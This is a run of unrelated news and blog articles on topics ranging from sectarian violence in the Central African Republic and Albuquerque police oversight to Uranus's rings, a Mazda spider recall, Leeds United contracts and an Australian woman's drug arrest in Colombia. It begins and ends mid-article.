were still tense. When we arrived, a young man lay on a makeshift stretcher, bleeding profusely from his leg. His friends told us he had been hacked with a machete by ex-Séléka rebels. They screamed for revenge.  Dr. Andre Gombako then approached the men, informing them that his brother had been killed by the Séléka a few nights ago. He stressed the need for forgiveness, and admonished everyone to remain nonviolent despite the attack. “I have no anger in my heart,” he said. “We’ve always had peace in this country between the Christians and Muslims.”  Gombako said the country needs two things to recover from the violence: A general disarmament, and the expulsion of the foreign fighters who came in with Djotodia from Chad and Sudan.  Later at the checkpoint, a single pickup truck full of heavily armed Multinational Force of Central Africa (FOMAC) peacekeeping soldiers pulled up. Murmurs went through the crowd, and some angry words were exchanged. Residents told us that some of the Chadians who had entered the country with the Séléka forces had blended into the FOMAC ranks, and they worried they would soon attack.  Past a roadblock, in a Muslim neighborhood, we found residents who dismissed claims that the Séléka were from Chad and Sudan. They said the French troops targeted Muslims indiscriminately, but didn’t disarm any of the anti-balaka forces, which left Muslims vulnerable to reprisal attacks. “The French troops aren’t going after the Christian community, only the Muslims,” one person told us. “We need the United Nations.”  Opinions of the Séléka were mixed amongst Muslim civilians. But once again, people stressed that everything had been fine between Muslims and Christians before the Séléka showed up. “We don’t know why we are having this problem,” one man said.  Muslims tended to blame the violence on the anti-balaka, and said that the portrayal of them as a defensive force formed by villagers was misleading. The anti-balaka were, they said, loyalists of Bozizé who were being manipulated by political forces. “The Christians lost the power, but they don’t want to accept defeat,” a man named Ali told us.  All over the city, fingers are pointed in many different directions: The anti-balaka started it. The anti-balaka rose up against the Séléka, who started it. Longstanding religious tensions have boiled over. Religious tensions are brand new. The Chadians are to blame. Or the Darfuris. Or the French.  In other words, no one has any real explanation for why longtime neighbors began killing each other, or why more than 100,000 people in Bangui no longer feel safe in their homes.
-Just days after the U.S. Department of Justice announced the results of an investigation into the Albuquerque Police Department, three members of the Police Oversight Commission are quitting.Anna's full report | VIDEO | 3 Police Oversight Commission members quitIn their resignation letters to Mayor Richard Berry, Richard Shine, Jennifer Barela and Jonathan Siegel said they’re resigning because the civilian commission has no teeth.“The city attorney’s office addressed the POC on April 10, 2014, and stated that we have no power to decide against the APD Chief or against the independent review officer’s findings regarding citizens’ complaints,” reads Siegel’s letter. “I cannot continue to pretend or deceive the members of our community into believing that our city has any real civilian oversight.” The city responded Tuesday.“An effective Police Oversight Commission has the ability to play a very important role, as mentioned by the Department of Justice, and these are critical components for community oversight," said the city's Chief Administrative Officer Rob Perry. "I thank the POC members for their service. We are hopeful that the City Council which created this board and nominates its members, will work in consultation with the DOJ in continued efforts to reform and implement needed changes.”  Just days after the U.S. Department of Justice announced the results of an investigation into the Albuquerque Police Department, three members of the Police Oversight Commission are quitting.  Anna's full report | VIDEO | 3 Police Oversight Commission members quit  Advertisement  In their resignation letters to Mayor Richard Berry, Richard Shine, Jennifer Barela and Jonathan Siegel said they’re resigning because the civilian commission has no teeth.  “The city attorney’s office addressed the POC on April 10, 2014, and stated that we have no power to decide against the APD Chief or against the independent review officer’s findings regarding citizens’ complaints,” reads Siegel’s letter. “I cannot continue to pretend or deceive the members of our community into believing that our city has any real civilian oversight.”  The city responded Tuesday.  “An effective Police Oversight Commission has the ability to play a very important role, as mentioned by the Department of Justice, and these are critical components for community oversight," said the city's Chief Administrative Officer Rob Perry. "I thank the POC members for their service. We are hopeful that the City Council which created this board and nominates its members, will work in consultation with the DOJ in continued efforts to reform and implement needed changes.”  AlertMe
-Researchers have re-examined data captured by the Voyager 2 spacecraft back in 1986, and think they've found evidence of two never-before-seen moons hidden in the rings of Uranus.  Uranus, the third largest planet in our Solar System, already has 27 moons that we know of - but these two new ones appear to orbit the planet more closely than any of its other natural satellites, and are causing wavy patterns in its closest rings.  Although Saturn is the most famous ringed planet orbiting our Sun, it's not the only one, with the three other gas giants - Jupiter, Uranus, and Neptune - all having their own ring systems.  But we haven't had much opportunity to study Uranus, seeing as it's almost 20 times further from the Sun than Earth is, and much of the information we have on it came from Voyager 2's flyby 30 years ago.  Now a duo of planetary scientists from the University of Idaho have re-examined this data to show that there's something strange going on in two of Uranus' 13 rings, called Alpha and Beta.  These rings display a previously unnoticed wavy pattern, suggesting that they're being pulled at by two tiny moons.  "These patterns may be wakes from small moonlets orbiting exterior to these rings," the researchers write in their paper on the pre-print site arXiv.org.  So why didn't Voyager 2 see these moons as it zipped past?  The researchers suggest these moons are so tiny, and also so dark, that they would have blended into the background for the spacecraft. Being "dark" means they barely reflect any light, as is the case with most of the moons in the area, and also Uranus's dark rings.  But the two Idaho researchers, Rob Chancia and Matthew Hedman, have crunched the numbers, and suggest that the pattern they detected in the Alpha and Beta rings are similar to those caused by the pull of some of Uranus's other moons, such as Cordelia and Ophelia.  They predict that, if these two new moons exist, they would only measure between 4 and 14 km (2 to 9 miles) across.  For now, this discovery is far from confirmed, and the researchers are still in the process of publishing in a peer-reviewed journal. But you can read their full report on arXiv.org now, and the team is getting ready to inspect Uranus with the Hubble Space Telescope in order to get more information.  Mark Showalter from the SETI Institute in California, who has previously discovered moons around Uranus, but wasn't involved in the study, told Ken Croswell over at New Scientist that the existence of the two new moons is "certainly a very plausible possibility".  He also said that Hubble is the "best bet" for finding these new Uranian satellites, but if that fails, maybe it would be time for Uranus to get its own orbiter mission - which we're totally on board with.  It's been a good year for our Solar System, with a new dwarf planet discovered last week, and another one back in May, as well as a moon hiding at the back of our Solar System earlier this year.  The better we get at peering out into space, the more crowded our neck of the galaxy gets, and we love it. The more curiosities to understand, the better.
-Friday morning through early afternoon, anti-Trump and anarchist rioters calling themselves #DisruptJ20 took to the streets of Washington D.C. to protest Trump’s inauguration. Their protest took several forms, from blocking entrances and freeways, to violence in the forms of vandalism, destruction and throwing concrete at police officers. While many in the media expressed dismay at the violence, some still justified the violence as a legitimate form of protest, including one Washington Post reporter.  As rioters downtown were hurling chunks of concrete at police officers, the White House condemned anti-police violence in a new post on its website. Washington Post reporter Wesley Lowery expressed outrage on Twitter, claiming it didn’t “acknowledge” “legitimate dissent:” Note no acknowledgement of any legitimate dissent. Those protesting are "rioter," "looter," or "violent disrupter," according to Trump — Wesley Lowery (@WesleyLowery) January 20, 2017 Even claiming that this policy would inspire “Zimmerman-like vigilantes.” given the context, hard to read this as anything but a call for more George Zimmerman-like vigilantes pic.twitter.com/XaWPO5y9k5 — Wesley Lowery (@WesleyLowery) January 20, 2017 But the worst tweet came in response to Democratic Congresswoman Claire McCaskill, after she condemned the violent riots. Lowery responded that the riots were very much American, even comparing them to the Boston Tea Party: Nothing is more unAmerican than protesters who are not peaceful. Disgusting. — Claire McCaskill (@clairecmc) January 20, 2017 The participants in the Boston Tea Party would likely beg to differ https://t.co/DsxII9elS9 — Wesley Lowery (@WesleyLowery) January 20, 2017 <<< Please support MRC's NewsBusters team with a tax-deductible contribution today. >>> DONATE
-Let me start by saying that the products featured in this post were provided to me free of charge courtesy of Crispy Green. This post may have affiliate links but this in no way will influence the review to follow and all opinions are my own.  Crispy Green: Crispy Fruit Review and Giveaway- Tangerine, Apple and Mango  I never really gave any consideration to freeze-dried fruit other than my outdoor camping friends have praised it for years. After all these years, I can honestly say that I understand why it is so popular – it is really good!  Let’s back up to a conversation that I was having with Jason a couple weeks ago about dehydrated fruit and meat, It was mentioned that a favorite snack of his was beef sticks, cheese and dried fruit. I thought at the time that he was a step below in the evolution of his taste buds but have found that really I was the one low on the taste evolution scale.  Crispy Green was kind enough to send us 3 packages of their Crispy Fruit in Tangerine, Apple and Mango. The varieties that they offer are wide-ranging and include Asian pear, banana, cantaloupe and pineapple as well as tangerine, apple and mango. The fruit is kosher certified, peanut tree nut free, gluten-free, dairy free and vegan – the reason for this is that all that is included is 100% pure fruit dehydrated.  As I opened the packages I was unsure what to expect and I was please too see that the fruit was recognizable as the shape that I am accustom to. The Tangerine looked like it had all the moisture taken out, and as I tasted it I noticed how the natural sweetness came through. The Mango’s were sliced in bite size pieces and had a hint of sweet. By far my favorite was the Apples, they were the perfect crispness with a hint of sweet.  While I had not given much consideration to dried fruit in the past, I am much more open to not only trying future fruits but I am even considering purchasing a dehydration system of my own to dehydrate my own fruits. I think I have come a long way in my evolutionary journey of tastes and look ahead to other culinary snacks.  I encourage you to visit CrispyGreen.com and on Facebook, Twitter, Pinterest or to purchase on Amazon.  GIVEAWAY: Crispy Green is offering a 16 pack of Crispy Fruit to my readers! (1) lucky winner will be selected at random to win this 16 pack assortment of fruit and Each box contains 8 bags of Crispy Apples, 4 bars Crispy Asian Pears, and 4 bags of Crispy Tangerines. I will be randomly choosing 1 person on August 26 (8/26/2015) to receive this fun & easy summer treat! Open to residents in the US only. To enter complete the entries below! Winner will be notified by me by email and prize will be fulfilled by Crispy Green! Remember you have 48 hours to claim prize, or I will choose another winner. GOOD LUCK!!!  Win a case of Crispy Fruit from Crispy Green  Like this: Like Loading...
-Rep. Jeb Hensarling has endorsed Republican presidential candidate and fellow Texan Ted Cruz Rafael (Ted) Edward CruzTrump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington Trump endorses Cornyn for reelection as O'Rourke mulls challenge MORE in an effort to derail controversial businessman Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE, the GOP front-runner.  “I believe that now is the time for Republicans and conservatives to unite behind the candidate who can not only win in November, but who will govern according to the principles we advocate and share,” Hensarling said in a statement Thursday.  ADVERTISEMENT  “We are down to two candidates who can secure the Republican nomination — Donald Trump and Ted Cruz,” Hensarling said, dismissing the chances of Ohio Gov. John Kasich. “Based on Donald Trump’s track record, I have serious questions about his commitment to the conservative cause.”  Hensarling, the chairman of the House Financial Services Committee, was in the spotlight last year for leading the push to block reauthorization of the Export-Import Bank, which Cruz, the junior senator from Texas, also opposed.  He is the ninth Texas lawmaker to throw their support behind Cruz, who is pushing to coalesce support from those on the right in an effort to derail Trump.
-October 15, 2015Emily Davis, 928-638-7609Kirby-Lynn Shedlowski, 928-638-7958  Grand Canyon, Ariz.–Grand Canyon National Park is in the process of replacing a portion of the Transcanyon Pipeline (TCP) at Phantom Ranch. As part of the construction process, the TCP will be turned off to allow crews to connect the new portions of the pipeline to the existing pipeline.  The TCP shutdown will begin on Sunday, October 18 and is anticipated to last through the end of the week. For safety purposes, crews must also turn off the power to Phantom Ranch on Monday, October 19.  Phantom Ranch will begin water conservation measures Sunday, October 18 that will last the duration of the project, but drinking water will continue to be available. Drinking water will be unavailable at Bright Angel and Cottonwood campgrounds, Roaring Springs, and Manzanita Rest Area (formerly Pumphouse Residence) during the shutdown. Day hikers and backpackers should be prepared to carry all drinking water or be able to treat creek water for drinking.  The TCP shutdown will not affect 1 1/2-Mile Resthouse, 3-Mile Resthouse, and Indian Garden on the Bright Angel Trail or Supai Tunnel on the North Kaibab Trail.  Grand Canyon National Park has a large and complex water utility system that provides water to close to 5 million annual visitors in addition to about 2,500 residents that live within the park. Visitors and residents on the South and North rims will still have access to water during the planned TCP shutdown via a water storage system. However, during the shutdown visitors and residents are encouraged to practice basic water conservation measures.  Water conservation can be as simple as turning off the water while you brush your teeth or shave, taking shorter showers, not watering lawns or washing cars, and filling the sink with water while washing dishes.  Because of the complexity of the TCP replacement project, at least one more multi-day TCP shutdown is anticipated this year. At this time, there is no date set for that shutdown.  -NPS-
-A controversy that began with the audit of two family planning clinics serving low-income clients has escalated, as 32 Republican state lawmakers are calling for an audit of all such Medicaid providers, including the largest, Planned Parenthood of Wisconsin.  The legislators are asking the Joint Legislative Audit Committee to conduct “a comprehensive, independent audit of Wisconsin’s Medicaid family planning providers,” with “a thorough investigation of their billing practices.”  Nicole Safar, Planned Parenthood of Wisconsin’s policy director, on Wednesday said the group would fight any claims. But if forced to pay, the financial damage would be “devastating.”  “Any sort of audit of family planning providers is only going to show widespread compliance. There is no wrongdoing, there is no fraud,” Safar said. “Anyone can shine a light on us.”  A Nov. 1 report by the Wisconsin Center for Investigative Journalism revealed that state auditors claimed that Family Planning Health Services Inc. and NEWCAP Inc. had overbilled Medicaid by a total of $3.5 million, largely for birth control drugs and devices. Those audits are being conducted by the state Department of Health Services’ Office of the Inspector General.  The clinics, in their August responses to the state, said the state itself had set their billing practices. They raised questions about whether the state OIG had unfairly targeted them for audits — a claim the auditors deny.  Beth Hartung, president of the Wisconsin Family Planning and Reproductive Health Association, told the Center in November, “My hunch is that if any one of us were audited it would come out the same way. We’re all operating the same way.”  “It would mean, quite frankly, that we would all close,” she said.  Safar also acknowledged then that her organization bills the same way. Planned Parenthood is a nationwide nonprofit reproductive health care organization with 22 Wisconsin locations.  Her statement struck Rep. André Jacque, R-De Pere, when he first read the Center’s report, as an unusual admission of guilt, he said Wednesday.  In a Jan. 22 letter to the audit committee, he wrote, “It is peculiar and deeply troubling that any large recipient of taxpayer dollars would pre-emptively divulge that they are guilty of massively defrauding the government and actively in violation with their billing practices, with no plans to change or reimburse taxpayers.”  He also wrote that “several other states report similar findings with Planned Parenthood and other Medicaid family planning providers,” and said $115 million nationwide had been documented in overpayments. The letter did not provide details.  Jacque, who has a 100 percent rating from Wisconsin Right to Life, said his stance on abortion and family planning issues was immaterial.  “Irrespective of the issue of my position on the abortion issue … this is an important taxpayer issue,” he said Wednesday. “The fact that this is basically a dispute between state auditors and providers, I think that’s something that should organically draw the attention of legislators and the government in general.”  Of the 32 lawmakers who signed, about half have perfect ratings from Wisconsin Right to Life, while the other half just started their jobs.  The audit committee is led by Republicans and composed of lawmakers from both parties. It advises the nonpartisan Legislative Audit Bureau and can direct it to conduct audits.  Primary source documents  .  Newly elected Rep. Scott Allen, R-Waukesha, said he could not recall whether he had read the audit findings or response from the clinics, but he agreed to sign Jacque’s letter because the questions he posed seemed reasonable.  Asked whether his pro-life stance influenced his decision to sign the letter, Allen said, “I really couldn’t say. It seems to me that when there’s questions raised, more information is needed, and an audit is an appropriate step.”  Diane Welsh, the lawyer who is representing the two family planning clinics, said the legislative auditors should review the current OIG audits to see whether they were conducted properly before deciding to expand the audit to other providers.  “When the standards that were put in that audit are reviewed by an independent body, they’ll see that the wrong standards have been applied, and they will demonstrate that the Medicaid program has not been overpaying for the services the clinics are providing,” she said. “Wisconsin Medicaid has not been overpaying millions of dollars to family planning clinics.”  Wausau-based FPHS serves about 6,000 people a year in nine counties and declined to comment.  Oconto-based NEWCAP Inc.’s Community Health Services division last year served about 3,500 people in six counties.  Neither organization provides abortions. Both operate in areas officially designated to have shortages of health care professionals.  NEWCAP CEO Robert Koller said his organization “believes that not only are the legislators misguided in making this request, but (the letter) continues to demonstrate nothing less than a concerted effort to limit health care to the most vulnerable population of the state.”  The Department of Health Services said the lawmakers’ actions would not affect the current audits, which are in progress. The clinics challenged the audits in August and have not received a formal response from the OIG.  Since 2012, five Planned Parenthood clinics shut down after the Legislature cut funding to the organization.  Last weekend, Republican Gov. Scott Walker hailed this move and anti-abortion legislation among his key achievements on an Iowa stage with other Republican presidential hopefuls.  The audit claims concern the clinics’ use of Medicaid’s 340B drug pricing program, in which pharmaceutical companies are required to provide discounted drugs to safety net providers.  For family planning providers, the federal government reimburses 90 percent of the cost of drugs, while the state pays 10 percent. That breakdown means the state stands to recoup relatively little, but state auditor Alan White has said his job is to protect federal as well as state taxpayers.
-A day after accepting a top White House job, President Trump's new communications director announced Saturday that he's deleting old tweets that were critical of his new boss, saying his own views have evolved and that what he said in the past shouldn't be a distraction.  Full transparency: I'm deleting old tweets. Past views evolved & shouldn't be a distraction. I serve @POTUS agenda & that's all that matters — Anthony Scaramucci (@Scaramucci) July 22, 2017  "Full transparency: I'm deleting old tweets. Past views evolved & shouldn't be a distraction. I serve @POTUS agenda & that's all that matters," Anthony Scaramucci, the latest White House hire, tweeted on Saturday.  He followed up that notice to followers by saying, "The politics of 'gotcha' are over. I have a thick skin and we're moving on to @POTUS agenda serving the American people."  Mr. Trump announced Friday that he'd hired Wall Street financier Scaramucci to help the White House sharpen its public message.  Outgoing White House press secretary Sean Spicer announced his resignation after Mr. Trump selected Scaramucci to be his new communications director, a decision that factored into Spicer's decision to leave, CBS News confirmed. Sarah Huckabee Sanders, who has served as the deputy press secretary, will be the new press secretary.  In a statement following his appointment, Mr. Trump said, "Anthony is a person I have great respect for, and he will be an important addition to this Administration. He has been a great supporter and will now help implement key aspects of our agenda while leading the communications team."  He added, "We have accomplished so much, and we are being given credit for so little. The good news is the people get it, even if the media doesn't."  Social media users quickly did a deep dive and recirculated past tweets by Scaramucci that were at odds with Mr. Trump's views, including one that praised Hillary Clinton's competence. Mr. Trump defeated Clinton for president last year and continues to criticize her, including in several tweets Saturday.  Other repurposed Scaramucci tweets expressed support for stronger gun laws, which he tweeted about in August 2012. In May 2016, he expressed displeasure with individuals who believe climate change is a hoax. Mr. Trump has at times referred to global warming as a hoax.  Weirdly these are being deleted! But the Internet is forever, Anthony Scaramucci. pic.twitter.com/wYTeULnxMW — Shannon Watts (@shannonrwatts) July 21, 2017  Twitter users also scrolled back deep into Scaramucci's timeline to raise questions about a 2012 tweet in which he seemed to misattribute a quote to author Mark Twain.  "Dance like no one is watching. Sing like no one is listening. Love like you've never been hurt and live like its heaven on earth. Mark Twain," Scaramucci tweeted. Scaramucci did not delete that tweet.  Dance like no one is watching. Sing like no one is listening. Love like you've never been hurt and live like its heaven on earth. MarkTwain — Anthony Scaramucci (@Scaramucci) June 15, 2012  Scaramucci served Mr. Trump as a campaign fundraiser and adviser during the transition. He is currently serving as the senior vice president and chief strategy office at the Export-Import Bank, and will officially begin his new role Aug. 15.  He made his first appearance before reporters in the White House briefing room on Friday and quickly apologized to Mr. Trump for referring to him as a "hack politician" during an August 2015 appearance on Fox Business Network.  Asked whether Mr. Trump was aware of the comment, Scaramucci joked that the president mentions it every 15 seconds.  He called it one of his "biggest mistakes" before looking into the cameras and saying: "Mr. President, if you're listening, I personally apologize for the 50th time for saying that."
-Mazda's web of spider problems is growing.  In one of the stranger recalls in recent memory, Mazda is again recalling some of its cars to fix a problem with spiders getting inside and wreaking havoc.  The latest recall involves 42,000 Mazda6 midsize sedans from the 2010-12 model years, and equipped with the 2.5-liter, four-cylinder engine.  The National Highway Traffic Safety Administration said the spiders can weave a web inside a vent hose connected to the fuel tank. This blockage can cause excessive negative pressure inside the gas tank itself.  "Negative pressure could cause the fuel tank to crack, resulting in a fuel leak, increasing the risk of a fire," NHTSA said in a statement.  There have been no fires, accidents or injuries as a result of this issue, Mazda said.  Mazda dealers will notify owners of the affected cars and will reprogram the cars' ECU to compensate for the potential effect of the spiders. Dealers will also clean and inspect the vent hose.  The problem is similar to one discovered in 2011 when Mazda had to recall 65,000 of its 6 sedans from the 2009-10 model years. The culprit was found to be the yellow sac spider, a mildly venomous species (their bite is similar to a mosquito bite). At the time, Mazda surmised that the spiders were attracted to the hydrocarbons in the cars.  That recall installed covers on the vent in the fuel tanks to keep the little guys out. Subsequently, Mazda decided to take the additional step of reprogramming the cars' computers, leading to this latest recall.
-Steve Evans believes Leeds United will reach agreements to extend the contracts of Lewis Cook, Charlie Taylor and Alex Mowatt before the start of next season – on the strength of the squad he plans to put together this summer.  Evans, who revealed on Friday that he expects to sign a deal to stay on as head coach for the 2016-17 campaign once Leeds are safe from relegation, said talks were ongoing with the agents of Cook, Taylor and Mowatt with all three academy products running close to the end of their existing contracts.  The trio are tied down until June 2017, leaving United under pressure to negotiate improved terms and avoid a repeat of the situation which saw Sam Byram – another player produced by Leeds’ academy at Thorp Arch – leave for West Ham United in a £3.7m deal last month.  Byram quit Leeds after months of speculation about his future, caused by Leeds’ failure to agree a new deal with him and an initial offer from owner Massimo Cellino which asked the right-back to take a wage cut. He was sold with only six months left on his contract.  Byram’s exit was the latest in a line of unwelcome departures from Elland Road, before and since Cellino’s takeover in April 2104, but Evans insisted he was not fearful of losing Cook, Taylor or Mowatt – and claimed Byram’s decision to move on had been influenced by Leeds’ inability to challenge for promotion from the Championship.  Uwe Rosler, the head coach who led Leeds into this season, was sacked in October after only 12 games in charge, making way for Evans to replace him. United have not held a place in the league’s top six at any stage since the campaign began.  “I think Sam last summer – and I’m only guessing – didn’t think there was a squad here that would challenge for the Premier League,” Evans said. “That’s probably what he was looking at.  “He had a desire to play in the Premier League. If I was the father of the Cooks, the Taylors, the Mowatts then you want them to play in the Premier League, don’t you?  “But I’d also want them to play there for Leeds United – so I’d have a look and see if they’ve really got a squad which is challenging.  “Do I think Sam would have left if Uwe Rosler was coach and Leeds United were sitting in the top six? He’d still be a Leeds United player. It’s great to see him do well at West Ham but I think he’d still have been at Elland Road.”  Cook, the 19-year-old prospect who has been capped by England at youth level and claimed his first league goal with a spectacular strike in Tuesday’s 1-1 draw with Fulham, signed a new deal as recently as last May.  Leeds handed him a two-year contract as his previous deal prepared to enter its last 12 months. Taylor received a three-year deal in 2014 while Mowatt – the club’s reigning player of the year – was tied down to 2017 during the 2013-14 term.  Evans said: “I don’t know if the status would be advanced but I certainly know the president and Paul Bell (United’s executive director) have been speaking to representatives of those guys. That will go where it goes.  “There’s no pressure from me, the club decide what’s right and what’s not right, but I think we won’t be going into next season with them only have one season left on their deals.”  United are in the bottom half of the Championship but far removed from the relegation zone and Evans said he had been told by Cellino that he would be confirmed as head coach for next season as soon as Leeds were unequivocally safe.  Leeds travel to Brighton tonight, the first of 14 remaining league fixtures, looking to improve a run of one win in 10 matches.  Cook’s long-range shot on Tuesday lit up a tense meeting with Fulham and Evans admitted the young midfielder – targeted by Premier League club Bournemouth in January – would send his value soaring and attract increased interest with a run of goals.  “If he keeps playing as he is then of course we’ll get tested (by bids),” Evans said. “But there was a massive test with Cook in January. It wasn’t just Bournemouth. There were four or five more clubs who expressed a real interest, to the point where I thought the offers would have been acceptable. The president’s view was that he’ll get better.  “I think everyone accepts that if Lewis adds goals to his game, he probably becomes unbuyable for (some) clubs in the Premier League.”
-Posted 6 years ago on Aug. 10, 2012, 4:16 p.m. EST by OccupyWallSt  Earlier this week, members of Occupy Wall Street revved up the Illuminator - our bat signal - and beamed a special message onto Trump Tower in midtown Manhattan: Trump is bulldozing the 99% and we stand with the victims of his senseless disregard for environment and cultural heritage.  The guerrilla screening of Anthony Baxter's dramatic documentary 'You've Been Trumped' tells the David-and-Goliath story of a village of fishermen and farmers invaded by Trump to build "the world's greatest gulf course" for elite foreign jet-setters on pristine coastland of immense environmental and scientific value. Initially rebuked by the local municipality, Trump lures in the Scottish government with promises of thousands of jobs. After years of lies, political corruption, journalist suppression, and harassment of local people, Trump has finally constructed just a fraction of his intended plan with mostly-foreign contractors and few permanent jobs.  Solidarity means to stand with oppressed people everywhere because their struggle is our struggle, and there are few clearer cases than this one of the 1% bulldozing the rights, land, and dignity of the 99% for pure profit. Donald Trump does not represent us, and Occupy Wall Street stands with the brave people of Aberdeen and the Menie Estate - and their allies everywhere - fighting for sustainable development and the rights of hard-working people to their own land and communities.
-Le Snoot offers art without the "snooty side" of art, as founder Logan McDonald described it. The play on words and Le Snoot's iconic portly swine mascot define the antithesis of what McDonald did not want to see in his art gallery.  Le Snoot was founded in 2012, and the latest exhibit is called "A Tribute to Adult Swim."  "I was seeing there were more students who wanted to host shows that are outside of fine art," McDonald said. "The average cost of hosting a gallery show - including space rental, framing and other additional expenses - really adds up. It's not a thing everyone can afford. This created the idea of a non-conventional gallery where we use our in-house printing services to display digital works."  Featuring services such as high-quality printing, Le Snoot also offers free gallery space to artists.  The team consists of Logan McDonald, founder and creative director, Sasha Loseva, Le Snoot's accountant, and Kori Gibson, Le Snoot's client consultant.  "Although we have our titles and individual business strengths, our working together is what really makes Le Snoot," McDonald said.  As fans of different Adult Swim programming, the trio decided to introduce a new location with the tribute gallery.  The Adult Swim exhibition will open Oct. 17 at Le Snoot's new location at 11 W. Duffy St.  Gibson's connection to Adult Swim brought insight about the idea for the show.  "I've spent a lot of time watching Adult Swim. From its premiere in 2001, I can honestly admit it's really shaped my humor through to adulthood," Gibson said. "Adult Swim has always been there- bringing my friends and me together where we could sit back and talk about our favorite episodes. I've formed strong bonds with strangers from using references and quotes that other fans can pick up on.  "I used to think of Adult Swim as having only a cult following, but with each new show, I feel as if the fan base is growing stronger. Le Snoot (at the past location) had tribute shows before, such as our past "Adventure Time" tribute show. Logan and Sasha are also longtime fans of Adult Swim, and are excited by the concept."  A Tribute to Adult Swim will showcase works from local and non-local artists paying tribute to their favorite Adult Swim characters and programs.  Le Snoot staffers have their favorites, as well: McDonald's top show is "Superjail!" with favorite character Jeff Goldblum. Gibson's favorites are "Tom Goes to the Mayor" and Dr. Orpheus from "The Venture Bros." Lovesva loves "Squidbillies" with Early Culyer.  Expect to see unique creations featuring all the artists' favorite characters and shows at Le Snoot's Tribute to Adult Swim.  "Some of our best entrants will come in the day of the show," McDonald said.
-In this photo taken Jan. 5, 2012, U.S. director David Fincher smiles during a photo call for the movie "The Girl with the Dragon Tattoo"in Berlin, Germany. The Walt Disney Studios will film a new version of "20,000 Leagues Under the Sea" in Australia after the country agreed to pay it 21.6 million Australia dollars ($22.6 million) to film the movie there. The inducement announced Tuesday, April 2, 2013, is the biggest ever paid by an Australian government to bring in a Hollywood production. Fincher will direct the Jules Verne science fiction classic, said Disney Asia-Pacific spokeswoman Alannah Hall-Smith. (AP Photo/Gero Breloer)  CANBERRA, Australia (AP) — Australia is paying its biggest Hollywood inducement ever to bring "20,000 Leagues Under the Sea" Down Under.  The Walt Disney Studios will film a new version of the science fiction classic in Australia, which will pay the studio 21.6 million Australia dollars ($22.6 million) to film there, the government said Tuesday.  David Fincher of "The Girl With The Dragon Tattoo" and "The Social Network" will direct, said Disney Asia-Pacific spokeswoman Alannah Hall-Smith.  "No casting decisions have been made," she said, so the filming schedule and locations haven't been set.  The Australian newspaper reported the movie was offered to Brad Pitt, who starred in Fincher's "Fight Club," and to Channing Tatum, though nothing has been set.  The story centers on Capt. Nemo and the undersea adventures encountered on his submarine the Nautilus. Jules Verne's book was made into an Academy Award-winning movie in 1954 with Kirk Douglas starring as sailor Ned Land and James Mason as Nemo.  The announcement comes after "The Wolverine," starring Australian actor Hugh Jackman, recently wrapped filming in Sydney. The government paid Fox Studios AU$12.8 million to film in Australia.  Prime Minister Julia Gillard said the "The Wolverine" created more than 1,750 jobs, contracted more than 1,027 Australian companies and generated AU$80 million in investment.  She expects "20,000 Leagues Under the Sea" will create more than 2,000 jobs.  A strong Australian dollar buoyed by a mining boom has made Australia less attractive to Hollywood as a filmmaking location in recent years.  The payment comes in the form of a grant based on a percentage of the film's expected expenditures in Australia. The standard location offset has been 16.5 percent, though the film industry is lobbying for it to be raised to 30 percent.  The government announced last month the creation of a new AU$20 million fund to complement the location offset. It also said it would consider increasing the offset above 16.5 percent if the Australian dollar remained high.  It wasn't known how much the payment would offset the film's budget. It is a major inducement compared to those typically offered in America, where states often give tax breaks to movie and TV productions to film within their borders. This has caused a loss of production in Hollywood, called "runaway production," because California is not as generous with tax breaks as some other states.  "The securing of this film is a huge coup for the Australian film industry and for the near 1,000 local businesses that will be providing goods and services for the film," Gillard said in a statement.  "The Wolverine" in 3D opens in July in the United States, Australia and other countries.
-Cassie Sainsbury: Adelaide woman arrested for drug trafficking in Colombia was framed, family says  Updated  The mother of an Adelaide woman who has been arrested and detained in Colombia for drug trafficking maintains her daughter is innocent and has hit out at those who she says have framed her.  Cassandra Sainsbury, 22, was arrested after being found in possession of 5.8 kilograms of cocaine as she waited at El Dorado International Airport in Bogota to fly back to Australia, her sister Khala said.  Ms Sainsbury was arrested on April 12 after an X-ray machine detected the cocaine hidden in her luggage.  Her family have described her as "naive", and said she could be facing up to 25 years in prison.  Her mother told KIIS FM her daughter was given a package that she believed contained headphones, and she put it into her luggage without questioning it.  "The day of her departure he came up to her hotel gave her a package that was wrapped in black plastic and she took it and put it in her luggage," she said.  "And this is where the naive bit comes in, she didn't even rip it open to make sure there were headphones in there."  She said they had engaged a local lawyer.  "If she pleads guilty the minimum is six years," Ms Evans said.  An Adelaide lawyer who has previously represented Australians charged with drug offences overseas said Ms Sainsbury may not get a trial for three or four years if she did not plead guilty.  Human rights lawyer Stephen Kenny said the defence costs in such a situation could be up to $30,000.  "I've had a brief discussion with a lawyer in Colombia," he said.  "Probably if it's a guilty plea the matter could be dealt with in about six months, but if it went to trial if she pleaded not guilty it could be up to three years before the matter is finalised."  'She is just so scared', mother says  Earlier this morning, Ms Evans told the Today show she could not believe someone could do this to her daughter.  "Cassie is just, 'I didn't do it mum, you have got to get me out' and crying hysterically," she said.  "She is just so scared that she is caught up on the other side of the world for something she didn't do with no support over there, no nothing.  "The anger inside of me that someone could do this to an innocent girl for their own gain and to destroy several lives, not only Cassie's but her family's as well ... I don't know how a person could do that."  Khala Sainsbury said her sister, who has worked as a personal trainer in Adelaide, was in Colombia on a working holiday.  An online campaign, which has raised more than $2,000, has been set up by the family to help raise money to pay for legal costs.  "Cassie would never do anything like what she has been accused of," Khala wrote online.  "Anyone that knows her, would say she is a kind, loving, happy kind of girl. She would help anyone out in need."  Trial to take place in two months' time  Drug laws in Colombia Penalties for possession, use, or trafficking of illegal drugs are severe, and convicted offenders can expect long prison sentences under harsh conditions.  Serious offenders must remain in the country to serve a lengthy parole period, during which they are given no housing and may lack permission to work — as they are neither a citizen nor a resident.  Family members must often support the offender, sometimes for more than a year, until the parole period expires.  Drug crimes account for the third most common reason for imprisonment in Colombia.  Between 42 and 48 per cent of the country's female prison population are behind bars having been accused of drug offences. Source: Transnational Institute study of Drugs and Democracy  Ms Sainsbury was denied bail and would face trial in two months, the family said.  Khala said Ms Sainsbury was being held in Colombia's largest women's prison.  "Our hearts break, because we know she is innocent," she said.  According to her sister, Ms Sainsbury was planning her wedding "to the love of her life" and that was now on hold.  The family also said Ms Sainsbury was a volunteer of the Country Fire Service (CFS).  But a CFS spokesperson said she had not 